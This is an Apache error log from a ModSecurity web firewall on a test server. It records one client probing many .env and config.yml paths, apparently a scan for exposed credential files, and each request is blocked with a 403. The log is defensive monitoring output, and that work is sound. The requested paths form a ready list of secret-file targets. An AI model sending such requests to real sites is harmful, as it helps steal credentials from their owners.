[Thu Feb 26 01:02:59.179124 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.local&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PkgAAAAU&quot;]
[Thu Feb 26 01:02:59.179280 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.local&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PkgAAAAU&quot;]
[Thu Feb 26 01:02:59.198296 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /control/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/control/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEksAAAAAM&quot;]
[Thu Feb 26 01:02:59.198578 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/control/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEksAAAAAM&quot;]
[Thu Feb 26 01:02:59.198745 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/control/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEksAAAAAM&quot;]
[Thu Feb 26 01:02:59.201185 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.production&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PkwAAAAU&quot;]
[Thu Feb 26 01:02:59.201401 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.production&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PkwAAAAU&quot;]
[Thu Feb 26 01:02:59.201546 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.production&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PkwAAAAU&quot;]
[Thu Feb 26 01:02:59.257205 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEksQAAAAM&quot;]
[Thu Feb 26 01:02:59.257442 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEksQAAAAM&quot;]
[Thu Feb 26 01:02:59.257609 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEksQAAAAM&quot;]
[Thu Feb 26 01:02:59.282702 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/datavase/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEksgAAAAM&quot;]
[Thu Feb 26 01:02:59.282933 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEksgAAAAM&quot;]
[Thu Feb 26 01:02:59.283104 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEksgAAAAM&quot;]
[Thu Feb 26 01:02:59.310431 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/persistence/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/persistence/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkswAAAAM&quot;]
[Thu Feb 26 01:02:59.310686 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/persistence/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkswAAAAM&quot;]
[Thu Feb 26 01:02:59.310872 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/persistence/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkswAAAAM&quot;]
[Thu Feb 26 01:02:59.359927 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/config/config.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/config.yml found within REQUEST_FILENAME: /config/config.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PlwAAAAU&quot;]
[Thu Feb 26 01:02:59.360139 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PlwAAAAU&quot;]
[Thu Feb 26 01:02:59.360278 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PlwAAAAU&quot;]
[Thu Feb 26 01:02:59.360365 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/src/main/resources/org/jobrunr/dashboard/frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/src/main/resources/org/jobrunr/dashboard/frontend/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEktAAAAAM&quot;]
[Thu Feb 26 01:02:59.360594 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/src/main/resources/org/jobrunr/dashboard/frontend/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEktAAAAAM&quot;]
[Thu Feb 26 01:02:59.360760 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/src/main/resources/org/jobrunr/dashboard/frontend/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEktAAAAAM&quot;]
[Thu Feb 26 01:02:59.398187 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /counterblockd/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterblockd/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEktQAAAAM&quot;]
[Thu Feb 26 01:02:59.398419 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterblockd/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEktQAAAAM&quot;]
[Thu Feb 26 01:02:59.398567 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterblockd/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEktQAAAAM&quot;]
[Thu Feb 26 01:02:59.433815 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /counterwallet/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterwallet/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEktgAAAAM&quot;]
[Thu Feb 26 01:02:59.434049 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterwallet/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEktgAAAAM&quot;]
[Thu Feb 26 01:02:59.434210 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterwallet/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEktgAAAAM&quot;]
[Thu Feb 26 01:02:59.466980 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cp/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEktwAAAAM&quot;]
[Thu Feb 26 01:02:59.467201 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cp/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEktwAAAAM&quot;]
[Thu Feb 26 01:02:59.467343 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cp/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEktwAAAAM&quot;]
[Thu Feb 26 01:02:59.503305 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cronlab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkuAAAAAM&quot;]
